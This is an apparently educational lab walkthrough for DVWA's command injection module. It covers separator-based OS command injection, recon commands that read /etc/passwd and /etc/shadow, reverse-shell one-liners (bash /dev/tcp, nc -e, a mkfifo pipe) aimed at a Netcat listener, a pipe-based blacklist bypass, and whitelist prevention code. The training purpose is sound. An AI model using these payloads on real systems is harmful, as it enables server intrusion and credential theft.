DVWA Labs -- Day 3 of 20
15%

Lab 3: DVWA Command Injection Lab 2026 — Inject OS Commands & Get a Reverse Shell

Lab 3: DVWA Command Injection Lab 2026 — Inject OS Commands & Get a Reverse Shell

🧪 DVWA Lab Series — #3 of 30
Topic: DVWA Command Injection Lab — OS Shell Access
Next: CSRF Lab →

Command injection is one of the most impactful vulnerabilities in web application security — it takes you from a web form input directly to OS-level command execution on the server. One successful injection and you can read any file, create users, establish a reverse shell, and pivot to every other machine the server can reach. DVWA command injection lab teaches this progression from trivial exploitation through filter bypass to secure implementation — across all four security levels.

🎯 What You’ll Master in Lab 3

Inject OS commands using semicolon, pipe, and && separators at Low security
Read system files and enumerate the server through the injection point
Establish a reverse shell from DVWA back to a Netcat listener on Kali
Bypass the blacklist filter at Medium security using alternative separators
Analyse the Impossible-level source code to understand correct prevention

⏱️ 22 min read · 3 hands-on exercises

If you are starting here, complete Lab 1 (DVWA Setup) first. This lab assumes DVWA is accessible at http://127.0.0.1, logged in as admin, with Security Level set to Low. The Command Injection module is at: http://127.0.0.1/dvwa/vulnerabilities/exec/


Understanding Command Injection — Why It Is So Dangerous

DVWA’s command injection module simulates a simple ping utility — you enter an IP address, the server runs ping [your input] on the OS, and returns the output. The vulnerability exists because your input is passed directly to the shell with no sanitisation — meaning you can append any OS command after the IP address using separator characters.

securityelites.com
Vulnerability: Command Injection
Security Level: Low
Enter an IP address:
127.0.0.1; whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms

www-data

Server executed: ping 127.0.0.1; whoami — the semicolon injected a second command

📸 DVWA command injection at Low security — the semicolon terminates the ping command and executes whoami, revealing the web server runs as www-data. From here, any OS command can be injected.
💡 Why Command Injection Ranks So High: OWASP consistently ranks injection attacks in the Top 3 most critical web vulnerabilities. Command injection specifically is rated as the most severe injection type because it gives OS-level access — not just database access. A successful command injection can lead to full server compromise, data exfiltration, and lateral movement across the internal network.

Low Security — All Separators Work

COMMAND INJECTION SEPARATORS — LOW SECURITY
# All these payloads work at Low security — test each in the IP field:

# SEMICOLON — run second command after first completes
127.0.0.1; whoami
127.0.0.1; id
127.0.0.1; cat /etc/passwd
127.0.0.1; ls /var/www/html/dvwa/

# PIPE — output of first feeds into second (second runs regardless)
127.0.0.1 | whoami
127.0.0.1 | cat /etc/shadow # may need root — try anyway

# DOUBLE AMPERSAND — second runs only if first succeeds
127.0.0.1 && whoami
127.0.0.1 && hostname && id && uname -a # chain multiple commands

# USEFUL RECON COMMANDS TO INJECT:
127.0.0.1; cat /etc/passwd | head -5 # users
127.0.0.1; ls /home # home directories
127.0.0.1; ifconfig 2>/dev/null || ip a # network interfaces
127.0.0.1; ps aux | head -15 # running processes
127.0.0.1; find /var/www -name “*.php” -type f 2>/dev/null | head -10

🛠️ EXERCISE 1 — BROWSER + DVWA (LOW SECURITY)
Inject 5 different commands and document what you learn about the server

⏱️ Time: 10 minutes · Target: DVWA Command Injection at http://127.0.0.1/dvwa/vulnerabilities/exec/

Set DVWA security to Low. In the IP field, inject each of these:

1. 127.0.0.1; whoami
→ What user is the web server running as?

2. 127.0.0.1; id
→ What UID, GID, and groups does the web server have?

3. 127.0.0.1; uname -a
→ What OS version and kernel is running?

4. 127.0.0.1; cat /etc/passwd | grep -v nologin | grep -v false
→ Which accounts have interactive shells?

5. 127.0.0.1; ls -la /var/www/html/dvwa/hackable/uploads/
→ Is the upload directory writable?

Document ALL results — you are building a server profile.

✅ What you just learned: In five injections you discovered the server user (www-data), OS version, user accounts with shell access, and upload directory permissions. This is the reconnaissance that happens before a real attack escalation — reading /etc/passwd reveals whether privilege escalation targets exist, and a writable uploads directory is a potential file upload attack vector.

📸 Screenshot the /etc/passwd output from your injection and share in #dvwa-command-injection on Discord.

🧠 QUICK CHECK

What character does the semicolon (;) do in a command injection payload?




Establishing a Reverse Shell from DVWA

The reverse shell exercise demonstrates the maximum impact of a command injection vulnerability. Instead of just reading files, you inject a command that opens a persistent shell connection from the DVWA server back to a Netcat listener on your Kali machine — giving you an interactive terminal session on the server.

⚡ EXERCISE 2 — KALI TERMINAL + DVWA BROWSER (REVERSE SHELL)
Catch a reverse shell from DVWA using Netcat

⏱️ Time: 15 minutes · Target: DVWA 127.0.0.1 (YOUR LAB ONLY)

This exercise establishes a reverse shell — the DVWA server connects back to your Kali Netcat listener. Since DVWA and Kali are both on your machine, the connection is entirely localhost.

REVERSE SHELL — TWO TERMINAL APPROACH
# TERMINAL 1 — Start Netcat listener on Kali FIRST
nc -lvnp 4444
# Keep this terminal open — it will catch the connection

# BROWSER — Inject the reverse shell payload into DVWA Command Injection
# Replace 127.0.0.1 with your actual Kali IP (ifconfig to check)
127.0.0.1; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

# If bash -i fails, try these alternatives:
127.0.0.1; nc -e /bin/bash 127.0.0.1 4444
127.0.0.1; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f

# TERMINAL 1 — Should now show the shell connection:
# Listening on 0.0.0.0 4444
# Connection received on 127.0.0.1
# bash: no job control in this shell
# www-data@…

# UPGRADE to fully interactive shell:
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
export TERM=xterm

✅ What you just learned: A command injection vulnerability in a web form turned into a fully interactive OS shell in three steps — inject, catch, upgrade. This is the direct path from “web vulnerability” to “server compromise” that makes command injection so impactful. In a real-world scenario, this shell would allow reading credentials, installing persistent access, or pivoting to internal services unreachable from the internet.

📸 Screenshot your Netcat session showing the reverse shell connection and share in #dvwa-command-injection on Discord. Tag #dvwalab3


Medium Security — Blacklist Bypass

At Medium security, DVWA strips the semicolon (;) and double-ampersand (&&) from the input. This represents a developer who added a blacklist of “dangerous characters” — but forgot that the pipe (|) also enables command injection.

MEDIUM SECURITY — BLACKLIST BYPASS
# Medium security blocks: ; and &&
# These FAIL at Medium:
127.0.0.1; whoami ← stripped
127.0.0.1 && whoami ← stripped

# BYPASS — pipe is NOT in the blacklist:
127.0.0.1 | whoami
127.0.0.1 | id
127.0.0.1 | cat /etc/passwd
127.0.0.1 | bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

# LESSON: Blacklisting specific characters is fundamentally flawed.
# Linux has many command separators — you can never enumerate them all.
# The correct fix: whitelist ONLY valid IP address characters [0-9.]


Prevention — What Correct Code Looks Like

securityelites.com
Command Injection Source Code — Low vs Impossible
🔴 LOW — Direct shell execution, no sanitisation
$target = $_REQUEST[‘ip’];
$cmd = shell_exec(‘ping ‘ . $target);
⚠️ $_REQUEST passed directly to shell_exec — any separator injects a command

🟢 IMPOSSIBLE — Strict whitelist validation
$target = stripslashes($_REQUEST[‘ip’]);
// Whitelist: only allow valid octets separated by dots
$octet = explode(“.”, $target);
foreach($octet as $part) {
if(!is_numeric($part) || $part > 255) die();
}
// Only reaches here if valid IP — safe to execute
✅ Only numeric octets (0-255) can reach shell_exec — no separator can be injected

📸 Source code comparison: Low passes raw input directly to shell_exec. Impossible splits the input into octets and validates each one is a number 0–255 — making command injection structurally impossible without shell interpretation.

🔥 EXERCISE 3 — DVWA SOURCE CODE ANALYSIS
Read all four security level sources and identify each defensive mistake

⏱️ Time: 10 minutes · Target: DVWA View Source + Docker files

READ COMMAND INJECTION SOURCE CODE
# Read all four security level source files
docker exec dvwa cat /var/www/html/vulnerabilities/exec/source/low.php
docker exec dvwa cat /var/www/html/vulnerabilities/exec/source/medium.php
docker exec dvwa cat /var/www/html/vulnerabilities/exec/source/high.php
docker exec dvwa cat /var/www/html/vulnerabilities/exec/source/impossible.php

# For each file, identify:
# 1. What separator characters are blocked?
# 2. What separators remain working as bypasses?
# 3. Is it blacklist or whitelist based?
# 4. What would you do differently in a secure implementation?

✅ What you just learned: The progression from Low to Impossible shows the three common developer mistakes: no validation (Low), partial blacklist (Medium), longer blacklist still missing separators (High), versus correct whitelist (Impossible). Every security review you do on real code will show these same patterns — recognising them instantly is a professional skill built directly from reading this source code.

📸 Screenshot the Impossible-level whitelist validation code and share in #dvwa-source-review on Discord. Tag #securecoding2026


📋 Commands Used — Lab 3 Reference

127.0.0.1; whoamiBasic semicolon injection — run whoami after ping
127.0.0.1 | cat /etc/passwdPipe injection — read system password file
127.0.0.1; bash -i >& /dev/tcp/KALI_IP/4444 0>&1Reverse shell via bash TCP redirect
nc -lvnp 4444Netcat listener to catch reverse shell on Kali
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’Upgrade raw netcat shell to interactive PTY

🏆 Lab 3 Complete — Command Injection Mastered

From web form to reverse shell — all 4 security levels completed


❓ Frequently Asked Questions – DVWA Command Injection Lab

What is command injection in web applications?
Command injection occurs when unsanitised user input is passed directly to an OS shell function (like shell_exec() or system() in PHP). An attacker appends additional OS commands using separator characters (;, |, &&) and the server executes them. Successful exploitation gives direct OS-level command execution as the web server user.
What command injection separators should I always test?
Always test: semicolon (;), pipe (|), double ampersand (&&), double pipe (||), backtick substitution (`cmd`), and $() substitution. Different filters block different characters — testing all ensures you find any bypass. At Medium security in DVWA, semicolon and && are blocked but pipe works.
Why is a reverse shell more useful than a basic injection?
A basic injection shows one command’s output in the web response. A reverse shell gives you an interactive terminal session that persists across multiple commands, supports tab completion, allows navigation, and can be upgraded to a full PTY. For demonstrating impact in a penetration test report, a reverse shell is a much more compelling proof of concept than a single whoami output.
How is command injection prevented correctly?
The correct prevention is strict input validation using a whitelist — only allow characters that are valid for the expected input. For an IP address field: split on dots, validate each octet is numeric and 0–255, reject everything else. Never blacklist specific characters — there are too many separator variants. Where possible, avoid passing user input to shell functions entirely by using language-native equivalents.

← Previous

Lab 2: Brute Force

Next →

Lab 4: CSRF

📚 Further Reading

  • DVWA Lab 4: CSRF 2026 — Next in the series — forge cross-site requests to perform unauthorised actions on behalf of authenticated users across all four DVWA security levels.
  • Ethical Hacking Day 19: Command Injection — The full ethical hacking course coverage of command injection — theory, real-world examples, Burp Suite testing methodology, and WAF bypass techniques.
  • DVWA Labs Hub — The complete 30-lab DVWA series — every vulnerability module with full Low through Impossible walkthroughs and reverse shell exercises where applicable.
  • PortSwigger: OS Command Injection — PortSwigger’s comprehensive OS command injection guide with free interactive labs — the best complement to this DVWA walkthrough for deeper skill building.
  • OWASP: Command Injection — OWASP’s authoritative reference covering command injection mechanics, real-world examples, prevention techniques, and related vulnerability categories.

ME
Mr Elite
Owner, SecurityElites.com
Command injection is the vulnerability I use to demonstrate impact in the most dramatic way during client presentations. Nothing convinces a development team that their application is insecure quite like showing a fully interactive shell to their server appearing in a terminal window on my laptop. DVWA’s command injection module teaches this progression perfectly — from the trivial semicolon injection that every beginner should master in ten minutes, to the whitelist validation in the Impossible level that every developer should implement from day one.

Leave a Reply

Your email address will not be published. Required fields are marked *